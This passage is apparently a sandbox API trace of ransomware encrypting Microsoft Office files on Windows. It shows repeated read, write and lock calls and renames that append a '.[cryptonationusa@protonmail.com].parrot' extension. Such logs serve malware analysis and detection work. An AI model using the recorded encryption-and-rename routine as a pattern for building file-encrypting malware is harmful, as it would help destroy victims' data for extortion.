returned 1 [0180.872] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22a0070 | out: hHeap=0x5b0000) returned 1 [0180.872] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x189, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0180.872] CloseHandle (hObject=0x27c) returned 1 [0180.872] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x6586e8 [0180.872] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0) returned 0x22d3808 [0180.872] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6586e8 | out: hHeap=0x5b0000) returned 1 [0180.872] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_k_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_k_col.hxk.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0180.874] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22d3808 | out: hHeap=0x5b0000) returned 1 [0180.874] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0180.874] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22b2738 | out: hHeap=0x5b0000) returned 1 [0180.874] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x68df00 [0180.874] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x6586e8 [0180.874] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0180.874] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0180.877] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x16851e, nNumberOfBytesToLockHigh=0x0) returned 1 [0180.877] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0180.877] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0180.879] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.879] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0180.891] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0180.891] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0180.891] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0180.891] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0180.891] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0180.891] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0180.891] GetLastError () returned 0x0 [0180.916] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.916] WriteFile (in: hFile=0x27c, lpBuffer=0x6a3268*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x6a3268*, lpNumberOfBytesWritten=0x18eed4*=0x118, lpOverlapped=0x0) returned 1 [0180.919] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.919] WriteFile (in: hFile=0x27c, lpBuffer=0x2e80040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2e80040*, lpNumberOfBytesWritten=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0180.922] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x16851e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0180.922] CloseHandle (hObject=0x27c) returned 1 [0180.922] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173c10 [0180.922] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x2257b90 [0180.922] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3173c10 | out: hHeap=0x5b0000) returned 1 [0180.922] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.hxs.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0180.924] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2257b90 | out: hHeap=0x5b0000) returned 1 [0180.924] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0180.924] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2e80020 | out: hHeap=0x5b0000) returned 1 [0180.928] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x68df00 [0180.928] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x6586e8 [0180.929] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0180.929] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0180.932] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x38f, nNumberOfBytesToLockHigh=0x0) returned 1 [0180.932] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0180.932] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0180.933] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.933] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x277, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x277, lpOverlapped=0x0) returned 1 [0180.933] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0180.933] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0180.934] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0180.934] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0180.934] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0180.934] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0180.934] GetLastError () returned 0x0 [0180.934] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.934] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0180.934] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0180.934] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0180.934] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0180.934] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0180.934] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0180.934] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0180.934] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0180.934] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0180.934] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0180.934] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0180.934] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0180.934] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0180.934] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0180.934] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0180.935] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0180.935] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0180.935] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605320 [0180.935] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0180.935] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c8068 [0180.935] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605320 | out: hHeap=0x5b0000) returned 1 [0180.935] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60ba90 [0180.935] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8068 | out: hHeap=0x5b0000) returned 1 [0180.935] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x6586e8 [0180.935] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60ba90 | out: hHeap=0x5b0000) returned 1 [0180.935] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x2262060 [0180.935] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6586e8 | out: hHeap=0x5b0000) returned 1 [0180.935] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x3176300 [0180.935] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2262060 | out: hHeap=0x5b0000) returned 1 [0180.935] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x38f, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0180.935] CloseHandle (hObject=0x27c) returned 1 [0180.936] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_col.hxc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_col.hxc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0180.939] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2257b90 | out: hHeap=0x5b0000) returned 1 [0180.939] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0180.939] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0180.941] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1e7, nNumberOfBytesToLockHigh=0x0) returned 1 [0180.941] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0180.941] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0180.942] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.942] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xcf, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xcf, lpOverlapped=0x0) returned 1 [0180.942] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.942] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1e7, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0180.943] CloseHandle (hObject=0x27c) returned 1 [0180.943] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_col.hxt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_col.hxt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0180.945] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2257b90 | out: hHeap=0x5b0000) returned 1 [0180.945] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0180.946] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0180.948] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x18a, nNumberOfBytesToLockHigh=0x0) returned 1 [0180.948] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0180.948] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0180.948] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.949] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x72, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x72, lpOverlapped=0x0) returned 1 [0180.949] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.949] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x18a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0180.949] CloseHandle (hObject=0x27c) returned 1 [0180.950] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_f_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_f_col.hxk.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0180.952] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22d3808 | out: hHeap=0x5b0000) returned 1 [0180.952] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0180.952] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22b2738 | out: hHeap=0x5b0000) returned 1 [0180.954] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x189, nNumberOfBytesToLockHigh=0x0) returned 1 [0180.954] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0180.954] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0180.956] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.956] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x71, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x71, lpOverlapped=0x0) returned 1 [0180.956] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.956] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x189, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0180.956] CloseHandle (hObject=0x27c) returned 1 [0180.957] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_k_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_k_col.hxk.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0180.960] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22d3808 | out: hHeap=0x5b0000) returned 1 [0180.960] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0180.960] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22b2738 | out: hHeap=0x5b0000) returned 1 [0180.962] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x720, nNumberOfBytesToLockHigh=0x0) returned 1 [0180.962] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0180.962] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0180.964] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.964] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x608, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x608, lpOverlapped=0x0) returned 1 [0180.964] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.965] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x720, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0180.965] CloseHandle (hObject=0x27c) returned 1 [0180.965] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winschd.vrd"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winschd.vrd.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0180.968] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2257b90 | out: hHeap=0x5b0000) returned 1 [0180.968] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0180.968] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6af250 | out: hHeap=0x5b0000) returned 1 [0180.970] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7181aa, nNumberOfBytesToLockHigh=0x0) returned 1 [0180.970] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0180.971] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0180.972] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.972] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0181.052] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.052] WriteFile (in: hFile=0x27c, lpBuffer=0x6a3268*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x6a3268*, lpNumberOfBytesWritten=0x18eed4*=0x118, lpOverlapped=0x0) returned 1 [0181.055] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.055] WriteFile (in: hFile=0x27c, lpBuffer=0x2e80040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2e80040*, lpNumberOfBytesWritten=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0181.058] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7181aa, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0181.058] CloseHandle (hObject=0x27c) returned 1 [0181.058] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev.hxs.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0181.060] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2257b90 | out: hHeap=0x5b0000) returned 1 [0181.060] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0181.060] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2e80020 | out: hHeap=0x5b0000) returned 1 [0181.068] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3a3, nNumberOfBytesToLockHigh=0x0) returned 1 [0181.068] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0181.068] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0181.069] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.069] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x28b, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x28b, lpOverlapped=0x0) returned 1 [0181.069] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.070] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3a3, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0181.070] CloseHandle (hObject=0x27c) returned 1 [0181.070] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_col.hxc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_col.hxc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0181.073] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22d3808 | out: hHeap=0x5b0000) returned 1 [0181.073] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0181.073] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0181.075] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1eb, nNumberOfBytesToLockHigh=0x0) returned 1 [0181.075] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 